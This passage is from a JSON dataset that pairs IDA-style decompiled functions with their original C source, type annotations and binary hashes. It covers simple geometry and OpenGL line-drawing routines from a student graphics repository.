2);\nbreak;\ncase 7:\nv2 = magenta;\nv3 = *((_DWORD *)&magenta + 2);\nbreak;\ndefault:\nv2 = black;\nv3 = *((_DWORD *)&black + 2);\nbreak;\n}\nreturn *(double *)&v2;\n}\n", "canonical_decompiled_code": "double func12()\n{\nint v1; // [rsp+10h] [rbp-10h] BYREF\n__int64 v2; // [rsp+14h] [rbp-Ch]\nint v3; // [rsp+1Ch] [rbp-4h]\n\nfunc8((__int64)&v1);\nswitch ( v1 )\n{\ncase 0:\nv2 = black;\nv3 = *((_DWORD *)&black + 2);\nbreak;\ncase 1:\nv2 = white;\nv3 = *((_DWORD *)&white + 2);\nbreak;\ncase 2:\nv2 = red;\nv3 = *((_DWORD *)&red + 2);\nbreak;\ncase 3:\nv2 = green;\nv3 = *((_DWORD *)&green + 2);\nbreak;\ncase 4:\nv2 = blue;\nv3 = *((_DWORD *)&blue + 2);\nbreak;\ncase 5:\nv2 = yellow;\nv3 = *((_DWORD *)&yellow + 2);\nbreak;\ncase 6:\nv2 = indigo;\nv3 = *((_DWORD *)&indigo + 2);\nbreak;\ncase 7:\nv2 = magenta;\nv3 = *((_DWORD *)&magenta + 2);\nbreak;\ndefault:\nv2 = black;\nv3 = *((_DWORD *)&black + 2);\nbreak;\n}\nreturn *(double *)&v2;\n}", "original_code": "struct colour readcolor()\n{\n int i;\n readint(&i);\n switch (i)\n {\n case 0: return black;\n case 1: return white;\n case 2: return red;\n case 3: return green;\n case 4: return blue;\n case 5: return yellow;\n case 6: return indigo;\n case 7: return magenta;\n default : return black;\n }\n}", "canonical_original_code": "struct colour readcolor()\n{\n int i;\n readint(&i);\n switch (i)\n {\n case 0: return black;\n case 1: return white;\n case 2: return red;\n case 3: return green;\n case 4: return blue;\n case 5: return yellow;\n case 6: return indigo;\n case 7: return magenta;\n default : return black;\n }\n}", "variable_types": [ [ "i", "int" ] ], "return_type": "struct colour { float r; }", "user_defined_types": [ "struct colour { float r; }" ], "binary_hash": "f3edd88cb64abd6f7ef88094c15e4c3d52748bdea677279990a5418fc28ce4cc" }, { "name": "eq_point", "canonical_name": "func13", "repo": "kidxin/Graphics-Experiment", "decompiled_code": "_BOOL8 __fastcall eq_point(__int64 a1, __int64 a2, __int64 a3)\n{\nreturn a3 == a1;\n}\n", "canonical_decompiled_code": "_BOOL8 __fastcall func13(__int64 a1, __int64 a2, __int64 a3)\n{\nreturn a3 == a1;\n}", "original_code": "int eq_point(struct point p1,struct point p2)\n{\n if (p1.x == p2.x && p2.y == p1.y) return 1;\n return 0;\n}", "canonical_original_code": "int eq_point(struct point p1, struct point p2)\n{\n if (p1.x == p2.x && p2.y == p1.y) return 1;\n return 0;\n}", "variable_types": [ [ "p1", "struct point { int x; }" ], [ "p2", "struct point" ] ], "return_type": "int", "user_defined_types": [ "struct point { int x; }" ], "binary_hash": "f3edd88cb64abd6f7ef88094c15e4c3d52748bdea677279990a5418fc28ce4cc" }, { "name": "cal_sl", "canonical_name": "func14", "repo": "kidxin/Graphics-Experiment", "decompiled_code": "unsigned __int64 __fastcall cal_sl(_DWORD *a1)\n{\nunsigned __int64 result; // rax\n\na1[6] = *a1 - a1[3];\na1[7] = a1[1] - a1[4];\nresult = (unsigned int)a1[7];\nif ( (result & 0x80000000) != 0LL )\n{\na1[6] = -a1[6];\nresult = (unsigned __int64)a1;\na1[7] = -a1[7];\n}\nreturn result;\n}\n", "canonical_decompiled_code": "unsigned __int64 __fastcall func14(_DWORD *a1)\n{\nunsigned __int64 result; // rax\n\na1[6] = *a1 - a1[3];\na1[7] = a1[1] - a1[4];\nresult = (unsigned int)a1[7];\nif ( (result & 0x80000000) != 0LL )\n{\na1[6] = -a1[6];\nresult = (unsigned __int64)a1;\na1[7] = -a1[7];\n}\nreturn result;\n}", "original_code": "void cal_sl(struct line *l)\n{\n l->sl.dx=l->p1.x-l->p2.x;\n l->sl.dy=l->p1.y-l->p2.y;\n if (l->sl.dy<0)\n {\n l->sl.dx = -l->sl.dx;\n l->sl.dy = -l->sl.dy;\n }\n}", "canonical_original_code": "void cal_sl(struct line *l)\n{\n l->sl.dx=l->p1.x-l->p2.x;\n l->sl.dy=l->p1.y-l->p2.y;\n if (l->sl.dy<0)\n {\n l->sl.dx = -l->sl.dx;\n l->sl.dy = -l->sl.dy;\n }\n}", "variable_types": [ [ "l", "struct line { struct point { int x; } p1; struct slope { int dx; } sl; } *" ] ], "return_type": "void", "user_defined_types": [ "struct line { struct point p1; struct slope sl; }", "struct point { int x; }", "struct slope { int dx; }" ], "binary_hash": "f3edd88cb64abd6f7ef88094c15e4c3d52748bdea677279990a5418fc28ce4cc" }, { "name": "delta_x", "canonical_name": "func15", "repo": "kidxin/Graphics-Experiment", "decompiled_code": "__int64 __fastcall delta_x(__int64 a1, int a2)\n{\nreturn (unsigned int)(int)((double)(int)a1 * (double)a2 / (double)SHIDWORD(a1) + 0.5);\n}\n", "canonical_decompiled_code": "__int64 __fastcall func15(__int64 a1, int a2)\n{\nreturn (unsigned int)(int)((double)(int)a1 * (double)a2 / (double)SHIDWORD(a1) + 0.5);\n}", "original_code": "int delta_x(struct slope slo,int y)\n{\n return (int)(y*(double)slo.dx/slo.dy+0.5);\n}", "canonical_original_code": "int delta_x(struct slope slo, int y)\n{\n return (int)(y*(double)slo.dx/slo.dy+0.5);\n}", "variable_types": [ [ "slo", "struct slope { int dx; }" ], [ "y", "int" ] ], "return_type": "int", "user_defined_types": [ "struct slope { int dx; }" ], "binary_hash": "f3edd88cb64abd6f7ef88094c15e4c3d52748bdea677279990a5418fc28ce4cc" }, { "name": "test_line", "canonical_name": "func16", "repo": "kidxin/Graphics-Experiment", "decompiled_code": "int __fastcall test_line(__int64 a1, __int64 a2, __int64 a3, __int64 a4, __int64 a5, __int64 a6, __int64 a7, __int64 a8, unsigned int a9)\n{\nreturn printf(\"%d %d %d %d\\n\", (unsigned int)a7, HIDWORD(a7), HIDWORD(a8), a9);\n}\n", "canonical_decompiled_code": "int __fastcall func16(__int64 a1, __int64 a2, __int64 a3, __int64 a4, __int64 a5, __int64 a6, __int64 a7, __int64 a8, unsigned int a9)\n{\nreturn printf(\"%d %d %d %d\\n\", (unsigned int)a7, HIDWORD(a7), HIDWORD(a8), a9);\n}", "original_code": "void test_line(struct line l)\n{\n printf(\"%d %d %d %d\\n\",l.p1.x,l.p1.y,l.p2.x,l.p2.y);\n}", "canonical_original_code": "void test_line(struct line l)\n{\n printf(\"%d %d %d %d\\n\",l.p1.x,l.p1.y,l.p2.x,l.p2.y);\n}", "variable_types": [ [ "l", "struct line { struct point { int x; } p1; struct slope { int dx; } sl; }" ] ], "return_type": "void", "user_defined_types": [ "struct line { struct point p1; struct slope sl; }", "struct point { int x; }", "struct slope { int dx; }" ], "binary_hash": "f3edd88cb64abd6f7ef88094c15e4c3d52748bdea677279990a5418fc28ce4cc" }, { "name": "test_point", "canonical_name": "func17", "repo": "kidxin/Graphics-Experiment", "decompiled_code": "int __fastcall test_point(__int64 a1)\n{\nreturn printf(\"%d %d\\n\", (unsigned int)a1, HIDWORD(a1));\n}\n", "canonical_decompiled_code": "int __fastcall func17(__int64 a1)\n{\nreturn printf(\"%d %d\\n\", (unsigned int)a1, HIDWORD(a1));\n}", "original_code": "void test_point(struct point p)\n{\n printf(\"%d %d\\n\",p.x,p.y);\n}", "canonical_original_code": "void test_point(struct point p)\n{\n printf(\"%d %d\\n\",p.x,p.y);\n}", "variable_types": [ [ "p", "struct point { int x; }" ] ], "return_type": "void", "user_defined_types": [ "struct point { int x; }" ], "binary_hash": "f3edd88cb64abd6f7ef88094c15e4c3d52748bdea677279990a5418fc28ce4cc" }, { "name": "direction", "canonical_name": "func18", "repo": "kidxin/Graphics-Experiment", "decompiled_code": "__int64 __fastcall direction(__int64 a1, __int64 a2, __int64 a3, __int64 a4, __int64 a5)\n{\nreturn (unsigned int)((a3 - a1) * (HIDWORD(a5) - HIDWORD(a1)) - (a5 - a1) * (HIDWORD(a3) - HIDWORD(a1)));\n}\n", "canonical_decompiled_code": "__int64 __fastcall func18(__int64 a1, __int64 a2, __int64 a3, __int64 a4, __int64 a5)\n{\nreturn (unsigned int)((a3 - a1) * (HIDWORD(a5) - HIDWORD(a1)) - (a5 - a1) * (HIDWORD(a3) - HIDWORD(a1)));\n}", "original_code": "int direction(struct point p0,struct point p1,struct point p2)\n{\n return (p1.x - p0.x)*(p2.y - p0.y)-(p2.x - p0.x)*(p1.y - p0.y);\n}", "canonical_original_code": "int direction(struct point p0, struct point p1, struct point p2)\n{\n return (p1.x - p0.x)*(p2.y - p0.y)-(p2.x - p0.x)*(p1.y - p0.y);\n}", "variable_types": [ [ "p0", "struct point { int x; }" ], [ "p1", "struct point" ], [ "p2", "struct point" ] ], "return_type": "int", "user_defined_types": [ "struct point { int x; }" ], "binary_hash": "f3edd88cb64abd6f7ef88094c15e4c3d52748bdea677279990a5418fc28ce4cc" }, { "name": "onseg", "canonical_name": "func19", "repo": "kidxin/Graphics-Experiment", "decompiled_code": "_BOOL8 __fastcall onseg(__int64 a1, __int64 a2, __int64 a3, __int64 a4, __int64 a5)\n{\n_BOOL8 result; // rax\n\nmin((double)(int)a1, (double)(int)a3);\nresult = 0;\nif ( (double)(int)a5 >= (double)(int)a1 )\n{\nmax((double)(int)a1, (double)(int)a3);\nif ( (double)(int)a1 >= (double)(int)a5 )\n{\nmin((double)SHIDWORD(a1), (double)SHIDWORD(a3));\nif ( (double)SHIDWORD(a5) >= (double)SHIDWORD(a1) )\n{\nmax((double)SHIDWORD(a1), (double)SHIDWORD(a3));\nif ( (double)SHIDWORD(a1) >= (double)SHIDWORD(a5) )\nresult = 1;\n}\n}\n}\nreturn result;\n}\n", "canonical_decompiled_code": "_BOOL8 __fastcall func19(__int64 a1, __int64 a2, __int64 a3, __int64 a4, __int64 a5)\n{\n_BOOL8 result; // rax\n\nfunc4((double)(int)a1, (double)(int)a3);\nresult = 0;\nif ( (double)(int)a5 >= (double)(int)a1 )\n{\nfunc5((double)(int)a1, (double)(int)a3);\nif ( (double)(int)a1 >= (double)(int)a5 )\n{\nfunc4((double)SHIDWORD(a1), (double)SHIDWORD(a3));\nif ( (double)SHIDWORD(a5) >= (double)SHIDWORD(a1) )\n{\nfunc5((double)SHIDWORD(a1), (double)SHIDWORD(a3));\nif ( (double)SHIDWORD(a1) >= (double)SHIDWORD(a5) )\nresult = 1;\n}\n}\n}\nreturn result;\n}", "original_code": "int onseg(struct point p1,struct point p2, struct point t)\n{\n if (min(p1.x, p2.x) <= t.x && t.x <= max(p1.x, p2.x) && min(p1.y, p2.y) <= t.y && t.y <= max(p1.y, p2.y))\n return 1;\n else return 0;\n}", "canonical_original_code": "int onseg(struct point p1, struct point p2, struct point t)\n{\n if (min(p1.x, p2.x) <= t.x && t.x <= max(p1.x, p2.x) && min(p1.y, p2.y) <= t.y && t.y <= max(p1.y, p2.y))\n return 1;\n else return 0;\n}", "variable_types": [ [ "p1", "struct point { int x; }" ], [ "p2", "struct point" ], [ "t", "struct point" ] ], "return_type": "int", "user_defined_types": [ "struct point { int x; }" ], "binary_hash": "f3edd88cb64abd6f7ef88094c15e4c3d52748bdea677279990a5418fc28ce4cc" }, { "name": "dis", "canonical_name": "func20", "repo": "kidxin/Graphics-Experiment", "decompiled_code": "__int64 __fastcall dis(__int64 a1, __int64 a2, __int64 a3)\n{\n__m128i v3; // xmm1\nint v4; // ebx\n__m128i v5; // xmm2\nint v7; // [rsp+4h] [rbp-24h]\n\nv7 = HIDWORD(a3);\nv3 = 0LL;\n*(float *)v3.m128i_i32 = (float)(a1 - a3);\nv4 = (int)sqr(COERCE_FLOAT(_mm_cvtsi128_si32(v3)));\nv5 = 0LL;\n*(float *)v5.m128i_i32 = (float)(HIDWORD(a1) - v7);\nreturn (unsigned int)(v4 + (int)sqr(COERCE_FLOAT(_mm_cvtsi128_si32(v5))));\n}\n", "canonical_decompiled_code": "__int64 __fastcall func20(__int64 a1, __int64 a2, __int64 a3)\n{\n__m128i v3; // xmm1\nint v4; // ebx\n__m128i v5; // xmm2\nint v7; // [rsp+4h] [rbp-24h]\n\nv7 = HIDWORD(a3);\nv3 = 0LL;\n*(float *)v3.m128i_i32 = (float)(a1 - a3);\nv4 = (int)func6(COERCE_FLOAT(_mm_cvtsi128_si32(v3)));\nv5 = 0LL;\n*(float *)v5.m128i_i32 = (float)(HIDWORD(a1) - v7);\nreturn (unsigned int)(v4 + (int)func6(COERCE_FLOAT(_mm_cvtsi128_si32(v5))));\n}", "original_code": "int dis(struct point p1,struct point p2)\n{\n return (int)sqr(p1.x-p2.x)+(int)sqr(p1.y-p2.y);\n}", "canonical_original_code": "int dis(struct point p1, struct point p2)\n{\n return (int)sqr(p1.x-p2.x)+(int)sqr(p1.y-p2.y);\n}", "variable_types": [ [ "p1", "struct point { int x; }" ], [ "p2", "struct point" ] ], "return_type": "int", "user_defined_types": [ "struct point { int x; }" ], "binary_hash": "f3edd88cb64abd6f7ef88094c15e4c3d52748bdea677279990a5418fc28ce4cc" }, { "name": "interset", "canonical_name": "func21", "repo": "kidxin/Graphics-Experiment", "decompiled_code": "__int64 __fastcall interset(__int64 a1, __int64 a2, __int64 a3, __int64 a4, __int64 a5, __int64 a6, __int64 a7, __int128 a8, __int64 a9, __int64 a10, __int128 a11)\n{\nint v12; // [rsp+0h] [rbp-18h]\nint v13; // [rsp+4h] [rbp-14h]\nint v14; // [rsp+8h] [rbp-10h]\nint v15; // [rsp+Ch] [rbp-Ch]\n\nv15 = direction(a10, (unsigned int)a11, *(__int64 *)((char *)&a11 + 4), HIDWORD(a11), a7);\nv14 = direction(a10, (unsigned int)a11, *(__int64 *)((char *)&a11 + 4), HIDWORD(a11), *(__int64 *)((char *)&a8 + 4));\nv13 = direction(a7, (unsigned int)a8, *(__int64 *)((char *)&a8 + 4), HIDWORD(a8), a10);\nv12 = direction(a7, (unsigned int)a8, *(__int64 *)((char *)&a8 + 4), HIDWORD(a8), *(__int64 *)((char *)&a11 + 4));\nif ( (v15 > 0 && v14 < 0 || v15 < 0 && v14 > 0) && (v13 > 0 && v12 < 0 || v13 < 0 && v12 > 0) )\nreturn 1LL;\nif ( !v15 && onseg(a10, (unsigned int)a11, *(__int64 *)((char *)&a11 + 4), HIDWORD(a11), a7) )\nreturn 2LL;\nif ( !v14\n&& onseg(a10, (unsigned int)a11, *(__int64 *)((char *)&a11 + 4), HIDWORD(a11), *(__int64 *)((char *)&a8 + 4)) )\n{\nreturn 3LL;\n}\nif ( !v13 && onseg(a7, (unsigned int)a8, *(__int64 *)((char *)&a8 + 4), HIDWORD(a8), a10) )\nreturn 4LL;\nif ( v12 || !onseg(a7, (unsigned int)a8, *(__int64 *)((char *)&a8 + 4), HIDWORD(a8), *(__int64 *)((char *)&a11 + 4)) )\nreturn 0LL;\nreturn 5LL;\n}\n", "canonical_decompiled_code": "__int64 __fastcall func21(__int64 a1, __int64 a2, __int64 a3, __int64 a4, __int64 a5, __int64 a6, __int64 a7, __int128 a8, __int64 a9, __int64 a10, __int128 a11)\n{\nint v12; // [rsp+0h] [rbp-18h]\nint v13; // [rsp+4h] [rbp-14h]\nint v14; // [rsp+8h] [rbp-10h]\nint v15; // [rsp+Ch] [rbp-Ch]\n\nv15 = func18(a10, (unsigned int)a11, *(__int64 *)((char *)&a11 + 4), HIDWORD(a11), a7);\nv14 = func18(a10, (unsigned int)a11, *(__int64 *)((char *)&a11 + 4), HIDWORD(a11), *(__int64 *)((char *)&a8 + 4));\nv13 = func18(a7, (unsigned int)a8, *(__int64 *)((char *)&a8 + 4), HIDWORD(a8), a10);\nv12 = func18(a7, (unsigned int)a8, *(__int64 *)((char *)&a8 + 4), HIDWORD(a8), *(__int64 *)((char *)&a11 + 4));\nif ( (v15 > 0 && v14 < 0 || v15 < 0 && v14 > 0) && (v13 > 0 && v12 < 0 || v13 < 0 && v12 > 0) )\nreturn 1LL;\nif ( !v15 && func19(a10, (unsigned int)a11, *(__int64 *)((char *)&a11 + 4), HIDWORD(a11), a7) )\nreturn 2LL;\nif ( !v14\n&& func19(a10, (unsigned int)a11, *(__int64 *)((char *)&a11 + 4), HIDWORD(a11), *(__int64 *)((char *)&a8 + 4)) )\n{\nreturn 3LL;\n}\nif ( !v13 && func19(a7, (unsigned int)a8, *(__int64 *)((char *)&a8 + 4), HIDWORD(a8), a10) )\nreturn 4LL;\nif ( v12 || !func19(a7, (unsigned int)a8, *(__int64 *)((char *)&a8 + 4), HIDWORD(a8), *(__int64 *)((char *)&a11 + 4)) )\nreturn 0LL;\nreturn 5LL;\n}", "original_code": "int interset(struct line l1, struct line l2)\n{\n int d1,d2,d3,d4;\n d1 = direction(l2.p1, l2.p2, l1.p1);\n d2 = direction(l2.p1, l2.p2, l1.p2);\n d3 = direction(l1.p1, l1.p2, l2.p1);\n d4 = direction(l1.p1, l1.p2, l2.p2);\n if (((d1 > 0 && d2 < 0) || (d1 < 0 && d2 >0)) && ((d3 > 0 && d4 < 0) || (d3 < 0 && d4 >0))) return 1;\n if (d1 == 0 && onseg(l2.p1, l2.p2, l1.p1)) return 2;\n if (d2 == 0 && onseg(l2.p1, l2.p2, l1.p2)) return 3;\n if (d3 == 0 && onseg(l1.p1, l1.p2, l2.p1)) return 4;\n if (d4 == 0 && onseg(l1.p1, l1.p2, l2.p2)) return 5;\n return 0;\n}", "canonical_original_code": "int interset(struct line l1, struct line l2)\n{\n int d1; int d2; int d3; int d4;\n d1 = direction(l2.p1, l2.p2, l1.p1);\n d2 = direction(l2.p1, l2.p2, l1.p2);\n d3 = direction(l1.p1, l1.p2, l2.p1);\n d4 = direction(l1.p1, l1.p2, l2.p2);\n if (((d1 > 0 && d2 < 0) || (d1 < 0 && d2 >0)) && ((d3 > 0 && d4 < 0) || (d3 < 0 && d4 >0))) return 1;\n if (d1 == 0 && onseg(l2.p1, l2.p2, l1.p1)) return 2;\n if (d2 == 0 && onseg(l2.p1, l2.p2, l1.p2)) return 3;\n if (d3 == 0 && onseg(l1.p1, l1.p2, l2.p1)) return 4;\n if (d4 == 0 && onseg(l1.p1, l1.p2, l2.p2)) return 5;\n return 0;\n}", "variable_types": [ [ "l1", "struct line { struct point { int x; } p1; struct slope { int dx; } sl; }" ], [ "l2", "struct line" ], [ "d1", "int" ], [ "d2", "int" ], [ "d3", "int" ], [ "d4", "int" ] ], "return_type": "int", "user_defined_types": [ "struct line { struct point p1; struct slope sl; }", "struct point { int x; }", "struct slope { int dx; }" ], "binary_hash": "f3edd88cb64abd6f7ef88094c15e4c3d52748bdea677279990a5418fc28ce4cc" }, { "name": "intersection", "canonical_name": "func22", "repo": "kidxin/Graphics-Experiment", "decompiled_code": "__int64 __fastcall intersection(__int64 a1, __int64 a2, __int64 a3, __int64 a4, __int64 a5, __int64 a6, __int64 a7, __int64 a8, int a9, __int64 a10, __int64 a11, __int64 a12, int a13)\n{\n__int64 v14; // [rsp+0h] [rbp-50h]\ndouble v15; // [rsp+48h] [rbp-8h]\n\nv15 = (double)(((int)a7 - (int)a11) * (HIDWORD(a11) - a13) - (HIDWORD(a7) - HIDWORD(a11)) * ((int)a11 - HIDWORD(a12)))\n/ (double)(((int)a7 - HIDWORD(a8)) * (HIDWORD(a11) - a13) - (HIDWORD(a7) - a9) * ((int)a11 - HIDWORD(a12)));\nLODWORD(v14) = a7 + (int)((double)(HIDWORD(a8) - (int)a7) * v15 + 0.5);\nHIDWORD(v14) = HIDWORD(a7) + (int)((double)(a9 - HIDWORD(a7)) * v15 + 0.5);\nreturn v14;\n}\n", "canonical_decompiled_code": "__int64 __fastcall func22(__int64 a1, __int64 a2, __int64 a3, __int64 a4, __int64 a5, __int64 a6, __int64 a7, __int64 a8, int a9, __int64 a10, __int64 a11, __int64 a12, int a13)\n{\n__int64 v14; // [rsp+0h] [rbp-50h]\ndouble v15; // [rsp+48h] [rbp-8h]\n\nv15 = (double)(((int)a7 - (int)a11) * (HIDWORD(a11) - a13) - (HIDWORD(a7) - HIDWORD(a11)) * ((int)a11 - HIDWORD(a12)))\n/ (double)(((int)a7 - HIDWORD(a8)) * (HIDWORD(a11) - a13) - (HIDWORD(a7) - a9) * ((int)a11 - HIDWORD(a12)));\nLODWORD(v14) = a7 + (int)((double)(HIDWORD(a8) - (int)a7) * v15 + 0.5);\nHIDWORD(v14) = HIDWORD(a7) + (int)((double)(a9 - HIDWORD(a7)) * v15 + 0.5);\nreturn v14;\n}", "original_code": "struct point intersection(struct line l1,struct line l2)\n{\n struct point u1 = l1.p1, u2 = l1.p2, v1 = l2.p1, v2 = l2.p2;\n struct point ret = u1;\n double t=(double)((u1.x-v1.x)*(v1.y-v2.y)-(u1.y-v1.y)*(v1.x-v2.x))\n /((u1.x-u2.x)*(v1.y-v2.y)-(u1.y-u2.y)*(v1.x-v2.x));\n ret.x += (int)((u2.x-u1.x)*t+0.5);\n ret.y += (int)((u2.y-u1.y)*t+0.5);\n return ret;\n}", "canonical_original_code": "struct point intersection(struct line l1, struct line l2)\n{\n struct point u1 = l1.p1; struct point u2 = l1.p2; struct point v1 = l2.p1; struct point v2 = l2.p2;\n struct point ret = u1;\n double t = (double)((u1.x-v1.x)*(v1.y-v2.y)-(u1.y-v1.y)*(v1.x-v2.x))\n /((u1.x-u2.x)*(v1.y-v2.y)-(u1.y-u2.y)*(v1.x-v2.x));\n ret.x += (int)((u2.x-u1.x)*t+0.5);\n ret.y += (int)((u2.y-u1.y)*t+0.5);\n return ret;\n}", "variable_types": [ [ "l1", "struct line { struct point p1; struct slope { int dx; } sl; }" ], [ "l2", "struct line" ], [ "u1", "struct point { int x; }" ], [ "u2", "struct point { int x; }" ], [ "v1", "struct point { int x; }" ], [ "v2", "struct point { int x; }" ], [ "ret", "struct point { int x; }" ], [ "t", "double" ] ], "return_type": "struct point { int x; }", "user_defined_types": [ "struct line { struct point p1; struct slope sl; }", "struct point { int x; }", "struct slope { int dx; }" ], "binary_hash": "f3edd88cb64abd6f7ef88094c15e4c3d52748bdea677279990a5418fc28ce4cc" }, { "name": "drawline", "canonical_name": "func23", "repo": "kidxin/Graphics-Experiment", "decompiled_code": "__int64 __fastcall drawline(double a1, float a2, __int64 a3, __int64 a4, __int64 a5, __int64 a6, __int64 a7, __int64 a8, __int64 a9, __int128 a10)\n{\n__int64 result; // rax\nint v11; // [rsp+1Ch] [rbp-34h] BYREF\nint v12; // [rsp+20h] [rbp-30h] BYREF\n__int64 v13; // [rsp+24h] [rbp-2Ch]\nint v14; // [rsp+2Ch] [rbp-24h]\n__int64 v15; // [rsp+30h] [rbp-20h]\nint v16; // [rsp+38h] [rbp-18h]\nint i; // [rsp+3Ch] [rbp-14h]\nint v18; // [rsp+40h] [rbp-10h]\nint v19; // [rsp+44h] [rbp-Ch]\nint v20; // [rsp+48h] [rbp-8h]\nint v21; // [rsp+4Ch] [rbp-4h]\n\nv15 = a9;\nv16 = a10;\nv13 = *(_QWORD *)((char *)&a10 + 4);\nv14 = HIDWORD(a10);\nglColor3f(*(double *)_mm_cvtsi32_si128(LODWORD(a1)).m128i_i64, *((float *)&a1 + 1), a2);\nv12 = abs32(a9 - DWORD1(a10));\nv11 = abs32(HIDWORD(a9) - DWORD2(a10));\nif ( SDWORD1(a10) <= (int)a9 )\nv21 = -1;\nelse\nv21 = 1;\nif ( SHIDWORD(v13) <= SHIDWORD(v15) )\nv20 = -1;\nelse\nv20 = 1;\nif ( v11 <= v12 )\n{\nv19 = 0;\n}\nelse\n{\nswap(&v12, &v11);\nv19 = 1;\n}\nv18 = 2 * v11 - v12;\nfor ( i = 0; ; ++i )\n{\nresult = (unsigned int)v12;\nif ( i >= v12 )\nbreak;\nglVertex2i((unsigned int)v15, HIDWORD(v15));\nwhile ( v18 > 0 )\n{\nif ( v19 )\nLODWORD(v15) = v15 + v21;\nelse\nHIDWORD(v15) += v20;\nv18 -= 2 * v12;\n}\nif ( v19 )\nHIDWORD(v15) += v20;\nelse\nLODWORD(v15) = v15 + v21;\nv18 += 2 * v11;\n}\nreturn result;\n}\n", "canonical_decompiled_code": "__int64 __fastcall func23(double a1, float a2, __int64 a3, __int64 a4, __int64 a5, __int64 a6, __int64 a7, __int64 a8, __int64 a9, __int128 a10)\n{\n__int64 result; // rax\nint v11; // [rsp+1Ch] [rbp-34h] BYREF\nint v12; // [rsp+20h] [rbp-30h] BYREF\n__int64 v13; // [rsp+24h] [rbp-2Ch]\nint v14; // [rsp+2Ch] [rbp-24h]\n__int64 v15; // [rsp+30h] [rbp-20h]\nint v16; // [rsp+38h] [rbp-18h]\nint i; // [rsp+3Ch] [rbp-14h]\nint v18; // [rsp+40h] [rbp-10h]\nint v19; // [rsp+44h] [rbp-Ch]\nint v20; // [rsp+48h] [rbp-8h]\nint v21; // [rsp+4Ch] [rbp-4h]\n\nv15 = a9;\nv16 = a10;\nv13 = *(_QWORD *)((char *)&a10 + 4);\nv14 = HIDWORD(a10);\nglColor3f(*(double *)_mm_cvtsi32_si128(LODWORD(a1)).m128i_i64, *((float *)&a1 + 1), a2);\nv12 = abs32(a9 - DWORD1(a10));\nv11 = abs32(HIDWORD(a9) - DWORD2(a10));\nif ( SDWORD1(a10) <= (int)a9 )\nv21 = -1;\nelse\nv21 = 1;\nif ( SHIDWORD(v13) <= SHIDWORD(v15) )\nv20 = -1;\nelse\nv20 = 1;\nif ( v11 <= v12 )\n{\nv19 = 0;\n}\nelse\n{\nfunc7(&v12, &v11);\nv19 = 1;\n}\nv18 = 2 * v11 - v12;\nfor ( i = 0; ; ++i )\n{\nresult = (unsigned int)v12;\nif ( i >= v12 )\nbreak;\nglVertex2i((unsigned int)v15, HIDWORD(v15));\nwhile ( v18 > 0 )\n{\nif ( v19 )\nLODWORD(v15) = v15 + v21;\nelse\nHIDWORD(v15) += v20;\nv18 -= 2 * v12;\n}\nif ( v19 )\nHIDWORD(v15) += v20;\nelse\nLODWORD(v15) = v15 + v21;\nv18 += 2 * v11;\n}\nreturn result;\n}", "original_code": "void drawline(struct line l,struct colour c)\n{\n struct point p1=l.p1, p2=l.p2;\n int dx,dy,sx,sy,change;\n glColor3f(c.r,c.g,c.b);\n dx=abs(p1.x-p2.x);\n dy=abs(p1.y-p2.y);\n if (p2.x>p1.x) sx=1; else sx=-1;\n if (p2.y>p1.y) sy=1; else sy=-1;\n if (dy>dx)\n {\n swap(&dx,&dy);\n change=1;\n }\n else change=0;\n int diff=2*dy-dx,i;\n for (i=0;i<dx;i++)\n {\n glVertex2i(p1.x,p1.y);\n while (diff>0)\n {\n if (change) p1.x=p1.x+sx; else p1.y=p1.y+sy;\n diff=diff-2*dx;\n }\n if (change) p1.y=p1.y+sy; else p1.x=p1.x+sx;\n diff=diff+2*dy;\n }\n}", "canonical_original_code": "void drawline(struct line l, struct colour c)\n{\n struct point p1 = l.p1; struct point p2 = l.p2;\n int dx; int dy; int sx; int sy; int change;\n glColor3f(c.r,c.g,c.b);\n dx=abs(p1.x-p2.x);\n dy=abs(p1.y-p2.y);\n if (p2.x>p1.x) sx=1; else sx=-1;\n if (p2.y>p1.y) sy=1; else sy=-1;\n if (dy>dx)\n {\n swap(&dx,&dy);\n change=1;\n }\n else change=0;\n int diff = 2*dy-dx; int i;\n for (i=0;i<dx;i++)\n {\n glVertex2i(p1.x,p1.y);\n while (diff>0)\n {\n if (change) p1.x=p1.x+sx; else p1.y=p1.y+sy;\n diff=diff-2*dx;\n }\n if (change) p1.y=p1.y+sy; else p1.x=p1.x+sx;\n diff=diff+2*dy;\n }\n}", "variable_types": [ [ "l", "struct line { struct point { int x; } p1; struct slope { int dx; } sl; }" ], [ "c", "struct colour { float r; }" ], [ "p1", "struct point { int x; }" ], [ "p2", "struct point { int x; }" ], [ "dx", "int" ], [ "dy", "int" ], [ "sx", "int" ], [ "sy", "int" ], [ "change", "int" ], [ "diff", "int" ], [ "i", "int" ] ], "return_type": "void", "user_defined_types": [ "struct line { struct point p1; struct slope sl; }", "struct colour { float r; }", "struct point { int x; }", "struct slope { int dx; }" ], "binary_hash": "f3edd88cb64abd6f7ef88094c15e4c3d52748bdea677279990a5418fc28ce4cc" }, { "name": "draw4p", "canonical_name": "func24", "repo": "kidxin/Graphics-Experiment", "decompiled_code": "__int64 __fastcall draw4p(__int64 a1, __int64 a2, __int64 a3)\n{\nglVertex2i((unsigned int)(a1 + a3), (unsigned int)(HIDWORD(a3) + HIDWORD(a1)));\nglVertex2i((unsigned int)(a1 - a3), (unsigned int)(HIDWORD(a3) + HIDWORD(a1)));\nglVertex2i((unsigned int)(a1 + a3), (unsigned int)(HIDWORD(a1) - HIDWORD(a3)));\nreturn glVertex2i((unsigned int)(a1 - a3), (unsigned int)(HIDWORD(a1) - HIDWORD(a3)));\n}\n", "canonical_decompiled_code": "__int64 __fastcall func24(__int64 a1, __int64 a2, __int64 a3)\n{\nglVertex2i((unsigned int)(a1 + a3), (unsigned int)(HIDWORD(a3) + HIDWORD(a1)));\nglVertex2i((unsigned int)(a1 - a3), (unsigned int)(HIDWORD(a3) + HIDWORD(a1)));\nglVertex2i((unsigned int)(a1 + a3), (unsigned int)(HIDWORD(a1) - HIDWORD(a3)));\nreturn glVertex2i((unsigned int)(a1 - a3), (unsigned int)(HIDWORD(a1) - HIDWORD(a3)));\n}", "original_code": "void draw4p(struct point center,struct point tar)\n{\n glVertex2i(center.x+tar.x,center.y+tar.y);\n glVertex2i(center.x-tar.x,center.y+tar.y);\n glVertex2i(center.x+tar.x,center.y-tar.y);\n glVertex2i(center.x-tar.x,center.y-tar.y);\n}", "canonical_original_code": "void draw4p(struct point center, struct point tar)\n{\n glVertex2i(center.x+tar.x,center.y+tar.y);\n glVertex2i(center.x-tar.x,center.y+tar.y);\n glVertex2i(center.x+tar.x,center.y-tar.y);\n 